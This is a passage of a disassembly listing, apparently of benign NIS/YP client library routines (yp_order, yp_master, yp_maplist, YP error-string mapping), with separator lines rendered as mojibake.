陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805DB40: ; CODE XREF: sub_805DA10+12Aj mov edx, [ebp+var_24] push edx call sub_805DFE0 loc_805DB49: ; CODE XREF: sub_805DA10+28j ; sub_805DA10+46j ... lea esp, [ebp+var_38] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_805DA10 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_805DB54 proc near var_28 = byte ptr -28h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1Ch push edi push esi push ebx mov [ebp+var_18], 0 cmp [ebp+arg_0], 0 jz short loc_805DB80 mov ecx, [ebp+arg_0] cmp byte ptr [ecx], 0 jz short loc_805DB80 cmp [ebp+arg_4], 0 jz short loc_805DB80 mov ecx, [ebp+arg_4] cmp byte ptr [ecx], 0 jnz short loc_805DB8C loc_805DB80: ; CODE XREF: sub_805DB54+14j ; sub_805DB54+1Cj ... mov eax, 1 jmp loc_805DC65 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805DB8C: ; CODE XREF: sub_805DB54+2Aj ; sub_805DB54+106j lea edx, [ebp+var_4] push edx mov ecx, [ebp+arg_0] push ecx call sub_805CE84 add esp, 8 test eax, eax jz short loc_805DBAC mov eax, 3 jmp loc_805DC65 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805DBAC: ; CODE XREF: sub_805DB54+4Aj mov esi, ds:dword_8069030 xor edi, edi mov ecx, [ebp+arg_0] mov [ebp+var_14], ecx mov ecx, [ebp+arg_4] mov [ebp+var_10], ecx push 8 lea ebx, [ebp+var_C] push ebx call sub_806626C mov edx, [ebp+var_4] mov edx, [edx+120h] mov [ebp+var_1C], edx mov eax, [edx+4] push edi push esi push ebx push offset sub_8066664 lea edx, [ebp+var_14] push edx push offset sub_8066564 push 0Ah mov ecx, [ebp+var_1C] push ecx mov edx, [eax] call edx add esp, 28h test eax, eax jnz short loc_805DC24 mov edx, [ebp+var_8] mov ecx, [ebp+arg_8] mov [ecx], edx push ebx push offset sub_8066664 call sub_8064E74 mov edx, [ebp+var_4] push edx call sub_805D2F4 mov edx, [ebp+var_C] push edx call sub_805DFE0 jmp short loc_805DC65 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805DC24: ; CODE XREF: sub_805DB54+A6j push offset aYp_orderClnt_c ; "yp_order: clnt_call" mov edx, [ebp+var_4] mov edx, [edx+120h] push edx call sub_8063894 mov edx, [ebp+var_4] mov dword ptr [edx+128h], 0FFFFFFFFh push edx call sub_805D2F4 add esp, 0Ch mov edx, [ebp+var_18] inc [ebp+var_18] cmp ds:dword_8069034, edx jg loc_805DB8C mov eax, 2 loc_805DC65: ; CODE XREF: sub_805DB54+31j ; sub_805DB54+51j ... lea esp, [ebp+var_28] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_805DB54 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_805DC70 proc near var_28 = byte ptr -28h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1Ch push edi push esi push ebx mov [ebp+var_18], 0 cmp [ebp+arg_0], 0 jz short loc_805DC9C mov ecx, [ebp+arg_0] cmp byte ptr [ecx], 0 jz short loc_805DC9C cmp [ebp+arg_4], 0 jz short loc_805DC9C mov ecx, [ebp+arg_4] cmp byte ptr [ecx], 0 jnz short loc_805DCA8 loc_805DC9C: ; CODE XREF: sub_805DC70+14j ; sub_805DC70+1Cj ... mov eax, 1 jmp loc_805DD9C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805DCA8: ; CODE XREF: sub_805DC70+2Aj ; sub_805DC70+E0j lea edx, [ebp+var_4] push edx mov ecx, [ebp+arg_0] push ecx call sub_805CE84 add esp, 8 test eax, eax jz short loc_805DCC8 mov eax, 3 jmp loc_805DD9C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805DCC8: ; CODE XREF: sub_805DC70+4Aj mov esi, ds:dword_8069030 xor edi, edi mov ecx, [ebp+arg_0] mov [ebp+var_14], ecx mov ecx, [ebp+arg_4] mov [ebp+var_10], ecx push 8 lea ebx, [ebp+var_C] push ebx call sub_806626C mov edx, [ebp+var_4] mov edx, [edx+120h] mov [ebp+var_1C], edx mov eax, [edx+4] push edi push esi push ebx push offset sub_8066628 lea edx, [ebp+var_14] push edx push offset sub_8066564 push 9 mov ecx, [ebp+var_1C] push ecx mov edx, [eax] call edx mov ebx, eax add esp, 28h test ebx, ebx jz short loc_805DD60 push offset aYp_masterClnt_ ; "yp_master: clnt_call" mov edx, [ebp+var_4] mov edx, [edx+120h] push edx call sub_8063894 mov edx, [ebp+var_4] mov dword ptr [edx+128h], 0FFFFFFFFh push edx call sub_805D2F4 add esp, 0Ch mov edx, [ebp+var_18] inc [ebp+var_18] cmp ds:dword_8069034, edx jg loc_805DCA8 mov eax, 2 jmp short loc_805DD9C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805DD60: ; CODE XREF: sub_805DC70+A8j mov edx, [ebp+var_C] push edx call sub_805DFE0 mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_805DD83 mov edx, [ebp+var_8] push edx call strdup mov ecx, [ebp+arg_8] mov [ecx], eax add esp, 4 loc_805DD83: ; CODE XREF: sub_805DC70+100j lea edx, [ebp+var_C] push edx push offset sub_8066628 call sub_8064E74 mov edx, [ebp+var_4] push edx call sub_805D2F4 mov eax, ebx loc_805DD9C: ; CODE XREF: sub_805DC70+31j ; sub_805DC70+51j ... lea esp, [ebp+var_28] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_805DC70 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_805DDA8 proc near var_20 = byte ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h push edi push esi push ebx mov [ebp+var_10], 0 cmp [ebp+arg_0], 0 jz short loc_805DDC6 mov ecx, [ebp+arg_0] cmp byte ptr [ecx], 0 jnz short loc_805DDD0 loc_805DDC6: ; CODE XREF: sub_805DDA8+14j mov eax, 1 jmp loc_805DE91 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805DDD0: ; CODE XREF: sub_805DDA8+1Cj ; sub_805DDA8+DEj lea edx, [ebp+var_4] push edx mov ecx, [ebp+arg_0] push ecx call sub_805CE84 add esp, 8 test eax, eax jz short loc_805DDF0 mov eax, 3 jmp loc_805DE91 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805DDF0: ; CODE XREF: sub_805DDA8+3Aj mov esi, ds:dword_8069030 xor edi, edi push 8 lea ebx, [ebp+var_C] push ebx call sub_806626C mov edx, [ebp+var_4] mov edx, [edx+120h] mov ecx, [edx+4] mov [ebp+var_14], ecx push edi push esi push ebx push offset sub_8066754 mov ecx, [ebp+arg_0] push ecx push offset sub_8066464 push 0Bh push edx mov ecx, [ebp+var_14] mov edx, [ecx] call edx add esp, 28h test eax, eax jnz short loc_805DE50 mov edx, [ebp+var_8] mov ecx, [ebp+arg_4] mov [ecx], edx mov edx, [ebp+var_4] push edx call sub_805D2F4 mov edx, [ebp+var_C] push edx call sub_805DFE0 jmp short loc_805DE91 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805DE50: ; CODE XREF: sub_805DDA8+8Aj push offset aYp_maplistClnt ; "yp_maplist: clnt_call" mov edx, [ebp+var_4] mov edx, [edx+120h] push edx call sub_8063894 mov edx, [ebp+var_4] mov dword ptr [edx+128h], 0FFFFFFFFh push edx call sub_805D2F4 add esp, 0Ch mov edx, [ebp+var_10] inc [ebp+var_10] cmp ds:dword_8069034, edx jg loc_805DDD0 mov eax, 2 loc_805DE91: ; CODE XREF: sub_805DDA8+23j ; sub_805DDA8+41j ... lea esp, [ebp+var_20] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_805DDA8 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_805DE9C proc near arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] cmp eax, 10h ; switch 17 cases ja loc_805DFC4 ; default jmp ds:off_805DEB4[eax*4] ; switch jump ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h off_805DEB4 dd offset loc_805DEF8, offset loc_805DF04, offset loc_805DF10 ; DATA XREF: sub_805DE9C+Fr dd offset loc_805DF1C, offset loc_805DF28, offset loc_805DF34 ; jump table for switch statement dd offset loc_805DF40, offset loc_805DF4C, offset loc_805DF58 dd offset loc_805DF64, offset loc_805DF70, offset loc_805DF7C dd offset loc_805DF88, offset loc_805DF94, offset loc_805DFA0 dd offset loc_805DFAC, offset loc_805DFB8 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805DEF8: ; CODE XREF: sub_805DE9C+Fj ; DATA XREF: sub_805DE9C+18o mov eax, offset aSuccess ; case 0x0 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805DF04: ; CODE XREF: sub_805DE9C+Fj ; DATA XREF: sub_805DE9C+18o mov eax, offset aRequestArgumen ; case 0x1 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805DF10: ; CODE XREF: sub_805DE9C+Fj ; DATA XREF: sub_805DE9C+18o mov eax, offset aRpcFailure ; case 0x2 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805DF1C: ; CODE XREF: sub_805DE9C+Fj ; DATA XREF: sub_805DE9C+18o mov eax, offset aCanTBindToServ ; case 0x3 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805DF28: ; CODE XREF: sub_805DE9C+Fj ; DATA XREF: sub_805DE9C+18o mov eax, offset aNoSuchMapInSer ; case 0x4 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805DF34: ; CODE XREF: sub_805DE9C+Fj ; DATA XREF: sub_805DE9C+18o mov eax, offset aNoSuchKeyInMap ; case 0x5 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805DF40: ; CODE XREF: sub_805DE9C+Fj ; DATA XREF: sub_805DE9C+18o mov eax, offset aYpServerError ; case 0x6 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805DF4C: ; CODE XREF: sub_805DE9C+Fj ; DATA XREF: sub_805DE9C+18o mov eax, offset aLocalResourceA ; case 0x7 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805DF58: ; CODE XREF: sub_805DE9C+Fj ; DATA XREF: sub_805DE9C+18o mov eax, offset aNoMoreRecordsI ; case 0x8 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805DF64: ; CODE XREF: sub_805DE9C+Fj ; DATA XREF: sub_805DE9C+18o mov eax, offset aCanTCommunicat ; case 0x9 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805DF70: ; CODE XREF: sub_805DE9C+Fj ; DATA XREF: sub_805DE9C+18o mov eax, offset aCanTCommunic_0 ; case 0xa mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805DF7C: ; CODE XREF: sub_805DE9C+Fj ; DATA XREF: sub_805DE9C+18o mov eax, offset aCanTCommunic_1 ; case 0xb mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805DF88: ; CODE XREF: sub_805DE9C+Fj ; DATA XREF: sub_805DE9C+18o mov eax, offset aLocalDomainNam ; case 0xc mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805DF94: ; CODE XREF: sub_805DE9C+Fj ; DATA XREF: sub_805DE9C+18o mov eax, offset aServerDataBase ; case 0xd mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805DFA0: ; CODE XREF: sub_805DE9C+Fj ; DATA XREF: sub_805DE9C+18o mov eax, offset aYpServerVersio ; case 0xe mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805DFAC: ; CODE XREF: sub_805DE9C+Fj ; DATA XREF: sub_805DE9C+18o mov eax, offset aAccessViolatio ; case 0xf mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805DFB8: ; CODE XREF: sub_805DE9C+Fj ; DATA XREF: sub_805DE9C+18o mov eax, offset aDatabaseIsBusy ; case 0x10 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805DFC4: ; CODE XREF: sub_805DE9C+9j push eax ; default push offset aYpUnknownError ; "YP unknown error %d\n" push offset unk_807E308 call sprintf mov eax, offset unk_807E308 mov esp, ebp pop ebp retn sub_805DE9C endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_805DFE0 proc near ; CODE XREF: sub_805D3A8+1A8p ; sub_805D638+120p ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] add eax, 8 ; switch 11 cases cmp eax, 0Ah ja loc_805E09C ; default jmp ds:off_805DFFC[eax*4] ; switch jump ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 off_805DFFC dd offset loc_805E090, offset loc_805E084, offset loc_805E06C ; DATA XREF: sub_805DFE0+12r dd offset loc_805E078, offset loc_805E06C, offset loc_805E060 ; jump table for switch statement dd offset loc_805E054, offset loc_805E048, offset loc_805E030 dd offset loc_805E028, offset loc_805E03C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805E028: ; CODE XREF: sub_805DFE0+12j ; DATA XREF: sub_805DFE0+1Co xor eax, eax ; case 0x1 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805E030: ; CODE XREF: sub_805DFE0+12j ; DATA XREF: sub_805DFE0+1Co mov eax, 0Ah ; case 0x0 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805E03C: ; CODE XREF: sub_805DFE0+12j ; DATA XREF: sub_805DFE0+1Co mov eax, 8 ; case 0x2 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805E048: ; CODE XREF: sub_805DFE0+12j ; DATA XREF: sub_805DFE0+1Co mov eax, 4 ; case -0x1 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805E054: ; CODE XREF: sub_805DFE0+12j ; DATA XREF: sub_805DFE0+1Co mov eax, 0Ch ; case -0x2 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805E060: ; CODE XREF: sub_805DFE0+12j ; DATA XREF: sub_805DFE0+1Co mov eax, 5 ; case -0x3 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805E06C: ; CODE XREF: sub_805DFE0+12j ; DATA XREF: sub_805DFE0+1Co mov eax, 6 ; case -0x6 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805E078: ; CODE XREF: sub_805DFE0+12j ; DATA XREF: sub_805DFE0+1Co mov eax, 0Dh ; case -0x5 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805E084: ; CODE XREF: sub_805DFE0+12j ; DATA XREF: sub_805DFE0+1Co mov eax, 1 ; case -0x7 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805E090: ; CODE XREF: sub_805DFE0+12j ; DATA XREF: sub_805DFE0+1Co mov eax, 0Eh ; case -0x8 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805E09C: ; CODE XREF: sub_805DFE0+Cj mov eax, 6 ; default mov esp, ebp pop ebp retn sub_805DFE0 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_805E0A8 proc near var_10 = byte ptr -10h var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 4 push edi push esi push ebx mov ebx, [ebp+arg_0] cmp ds:byte_807E358, 0 jnz short loc_805E0E3 lea eax, [ebp+var_4] push eax call sub_805D5F8 add esp, 4 test eax, eax jnz short loc_805E0FB mov esi, offset byte_807E358 mov edi, offset aNone ; "(none)" mov ecx, 7 cld test al, 0 repe cmpsb jz short loc_805E0FB loc_805E0E3: ; CODE XREF: sub_805E0A8+13j test ebx, ebx jz short loc_805E0ED mov dword ptr [ebx], offset byte_807E358 loc_805E0ED: ; CODE XREF: sub_805E0A8+3Dj push offset byte_807E358 call sub_805D328 test eax, eax jz short loc_805E100 loc_805E0FB: ; CODE XREF: sub_805E0A8+23j ; sub_805E0A8+39j xor eax, eax jmp short loc_805E105 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805E100: ; CODE XREF: sub_805E0A8+51j mov eax, 1 loc_805E105: ; CODE XREF: sub_805E0A8+55j lea esp, [ebp+var_10] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_805E0A8 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 